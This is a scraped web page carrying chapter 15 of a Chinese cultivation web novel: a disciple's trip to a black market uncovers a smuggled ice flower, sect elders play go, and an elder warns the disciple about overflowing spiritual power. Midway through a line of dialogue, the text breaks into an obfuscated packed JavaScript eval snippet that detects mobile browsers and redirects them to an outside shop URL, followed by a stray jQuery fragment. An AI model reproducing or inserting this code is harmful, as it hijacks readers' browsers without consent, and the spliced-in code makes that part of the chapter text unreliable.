晋江文学城正版阅读
15.
夜色已深,忙碌一天的江大师兄终于回到了客栈。
渊海生变,一批被盗的珍稀灵材暗中流入各城,他奉命追查数月,发现源头在阆风城的黑市,原本一切顺利,可今日接头暗线忽然失联,他追寻了大半日,都未有进展。
他拖着疲惫的身体上楼,还未走到门前便已觉察到数人的气息,屋内灯火通明,安静得有些诡异。
江流川三五步跨上台阶,猛地推开门,刚刚一只脚跨进门,只见盛风絮、秦渡和图一乐还有几名属下围成一圈,或站或坐,表情是如出一辙的严肃难看。
他家小师弟拘谨地坐在中间,仰头对他露出一个比哭还难看的笑:“大师兄,你终于回来了!”
江流川:……
江大师兄木然地退回门外,砰的一声重新关上门。
幻觉,一定是幻觉。
一炷香后,被众人按到主位上的江流川和小师弟面面相觑:“什么,你一个人跑去黑市了?”
盛风絮漫不经心地补刀:“是啊,可能耐了,又被偷又被骗的。”
晏钦无法反驳,讪讪一笑。
“你怎么能一个人跑去去,还傻兮兮地跟着陌生人走?”江流川眼前一黑,背上冷汗迭出,慌张地把晏钦前后左右都检查了一圈,确认对方没有受伤才暂时松了口气。
此次是他带队出来历练的,要是晏钦当真出了什么事,他要怎么和师尊和师叔交代?
江流川心有余悸,疲惫地叹了口气:“你这孩子,怎么这么不叫人省心。”
“对不起,让师兄们担心了。”晏钦抿唇,小心翼翼地道歉,“我知道那老头是在诓人,我真的没被他骗到——”
盛风絮也冷着脸:“那老不死的卖的全是假药,以次充好,不知害了多少人。若今日我们没有及时赶到,你小子钱袋都要掏出来了吧?”
晏钦很无奈:“我也就照料灵草这一门差事了,一点药材还是认识的。他骗人功夫不到家,拿着一株枯萎的花吹了半天,说那是渊海特产的趋风草。”
“渊海?”江流川眼神忽变,“他和你提了渊海?”
晏钦点头:“是啊。”
趋风草生于荒沙之泽,和渊海隔了十万八千里,怎么可能是渊海特产?况且李老头的手上那株灵草叶片卷曲暗黄,品相低劣,看着都不像趋风草了。
江流川面色沉沉:“人和东西眼下都在何处?”
秦渡回道:“都已押下,黑药庐也封了,那些假药无人动过。师兄可要去查验一番?”
晏钦摩挲着袖口凸起的花纹,忐忑接话:“师兄,那灵草可有问题?”
江流川眉头紧锁着,低头思索。秦渡看了看晏钦,还是不忍心:“还需探查一番才能确定。”
晏钦目光躲闪,从储物戒里掏出一株焦黄的灵草:“那……辛苦师兄们验一验?”
江流川接过那灵草,不可置信地盯着晏钦,压低的声线都飘了起来:“这东西从哪来的?!”
“这就是那老头说的特产。”晏钦老实回答道,“当时情况混乱,我顺手拿出来了。总觉得这草怪怪的,不像是趋风草颜色。”
这下别说是江流川了,在场几人神色一凛,连图一乐的表情都变了。
品相低劣的趋风草?
那是分明是一株枯萎的冰絮花。
从渊海一路偷渡到阆风城,奔波数万里,因为没有龙族的保护秘术,冰絮花会在半路枯萎,灵力效用大打折扣,但在黑市上仍是一花难求。
没想到这黑药庐里真的有不识货的漏网之鱼!
江流川猛地起身往外走:“老十,你陪小钦和图长老再去一趟药庐,有多少药材就搜刮多少。”
“你们几个留下,假装按之前的线索继续往下查。剩下的人和我走,那个买假药的老头我亲自审。”
他走到门前,回头看向盛风絮,“老七,交给你了。”
盛风絮认真点头:“保持联络。”
一夜兵荒马乱,黑市里悄然无息地少了几个熟面孔,阆风城内依旧歌舞升平,没有走漏半点风声。
-
淞崖峰上云销雪霁,难得晴日。
庭前的棋局已杀到激烈之处,水晶鎏银镜悬在玉桌旁,镜中倒映着燃烧的传信符,只寥寥几行,说尽了阆风城的动荡暗流。
托晏钦的福,江流川一连找了好几日的暗线还是抓住了,正是那个滑不溜秋的小乞儿,顺带着找到了一部分失踪的灵材,超额完成了任务。
谢长恒心情颇好:“这样一来,渊海那边也能交差了。”
微生淮低笑一声,幽幽落下一子。
谢长恒白了他一眼,看着他诡异的落子位置又是狠狠皱眉:“好端端的你怪笑什么?少学青阳慎那个老不死的。”
微生淮语调温和:“既是表亲,有几分相似也正常。”
谢长恒脸彻底臭了。
青阳慎,三百年前继任的渊海龙王,也是微生淮的亲表姐。此人男女不忌、来者不拒,荒唐之名传遍天下,却被世人赞为风流。
谢长恒冷嗤:“龙族那群迂腐老头害你害得还不够吗?表亲?他们也配。”
微生淮又下一子:“事实如此。”
谢长恒沉着脸:“当初将你赶出妖城的是他们,如今对你曲意逢迎、百般谄媚的也是他们。妖修贪婪狡诈,你就一定要凑上去吗?”
微生淮抬眼,迎着谢长恒的怒容:“师兄,风絮也是妖修。”
谢长恒撇开脸:“小七是我一手带大的,我自然相信他的为人,但龙族不同,他们有多冷血无情,你比我更清楚。”
“是。”微生淮垂眼,看向纵横交错的棋盘,“我也是妖修,身上流着龙族的血,所以,我与他们并无不同。”
谢长恒:“闭嘴!下不赢我就用激将法?不好意思,我不吃这套。”
微生淮忽然开口:“师兄,苍浪剑还缺一种锻材。”
“怎么不早点说,急要吗?”谢长恒松了口气,“灵材的事情和小九说,他肯定会给你找来的。”
微生淮摇头:“不用,我自己去。”
见他一脸超脱世外的淡然,谢长恒有种不祥的预感:“等等,你打算瞎跑去哪里?”
微生淮:“渊海。”
谢长恒又把手里的黑子摔回盒中:“宗主大人想气死我就直说。”
微生淮垂下眼睫,落子的动作没有半分犹豫,“下个月龙族祖祭,我会去一趟。”
好好地做个了断。
谢长恒眉头紧锁,生硬地转了开话题:“图一乐那混子到底什么时候来?我真不想再陪你这个臭棋篓子下棋了!我为了宗门日日起早贪黑,这几年白发都多了好几把……哎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057600|194896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真可怜啊。”
尚未开口劝阻。微生淮好脾气地冲他笑了一笑,“师兄,你输了。”
棋盘上,白子纵横相连。在劣势之下断尾求生,刻意示弱诱敌深入,再落子收割,彻底将黑子推入杀阵。
竟是平局。
谢长恒一愣。
他的棋艺比微生淮高了不止一点,平日里百局能胜九十九局,今日居然让微生淮反杀了?
微生淮轻笑:“近日我钻研棋谱,新学了一招。”
谢长恒很无奈:“谢天谢地,看来你和棋道缘分未尽呢。”
殿前的趋风草已经盛开,雾蓝花心缀着浅白短绒,清风一吹便会飘散,像一场蓝色的雪。
微生淮在雪中起身,叹息悠长:“皮囊会腐朽,血脉会稀薄。都是累赘而已,何必执念呢?”
-
转眼,晏钦一行人已在阆风城待了半月有余。
几位师兄忙着调查,图一乐也趁机在城里胡闹,不管黑市还是花楼都能搅得天翻地覆。阆风城主叫苦不迭,屡屡传信求助千机宗,来来回回就一个意思,请几位祖宗高抬贵手。
在送出第十份信后,一群侍从浩浩荡荡闯入城中,为宿醉的图一乐送上了来着剑云峰的半张草纸。
草纸写草字,再加谢长恒的私印,墨迹糊成了一坨。图一乐对着纸上的鬼画符沉默半晌,出人意料地屈服了,当日午后便在众人的欢送声中登上了前往千机宗的仙舆。
可阆风城的麻烦走了,晏钦的麻烦也来了。
宽敞的仙舆上,图一乐窝在左边软榻上黄符纸折纸鹤玩,晏钦坐在他对角的位置,心不在焉地翻着心法。因为私自出门,他被勒令不得外出,罚背十遍心法。
晏钦忐忑不安地等了好几日,刚松了一口气,却发现那群侍从把客栈也围住了。
另外半张纸是给他的。
仙舆不仅要迎图一乐入宗,还要将他一并带回。
图一乐把纸鹤往空中一丢,慢悠悠地又往桌上摆了一副算筹。他算得漫不经心,一边翻着算筹,一边还有心思看着晏钦笑:“我虽不会医术,但会看面相。见你第一眼时,我便觉得不对劲。”
晏钦扯了扯唇角,没有立刻搭腔。
所有人的注意力都被冰絮花吸引走了,但眼前这位玄阴门长老却不按常理出牌,敏锐地发现了被刻意忽略的细节——晏钦为什么独自出门,为什么跑去黑市,还出现在药庐里,而不是其他的地方?
图一乐笑嘻嘻地扔下算筹:“你知不知道自己的身体现在差成什么样了?那不是正道,早些醒悟为好。”
晏钦面上笑意如常,很放松地坐在车厢中:“前辈说笑了,我应该知道什么吗?”
算筹落在桌上,凶卦将成。图一乐撑着下巴,手上拨弄着算筹,意有所指:“月盈则亏,水满则溢。你体内的灵力……”
图一乐:“太浓了,快要溢出来了。”
晏钦眼皮一跳。灵力?他哪里来的灵力?
都是微生淮留下的。
避开图一乐探究的目光,晏钦转过头,不敢再理会他,侧身掀起仙舆的窗。
暖阳融融,珠帘叮咚作响,随着车架荡漾出斑斓的光晕。沐浴在日光中,所有情绪都敛进阴影,晏钦垂下眼眸,陷入一场寂静。
宽大的袖摆遮住他的动作,覆在小腹上的右手正在不自觉地颤抖。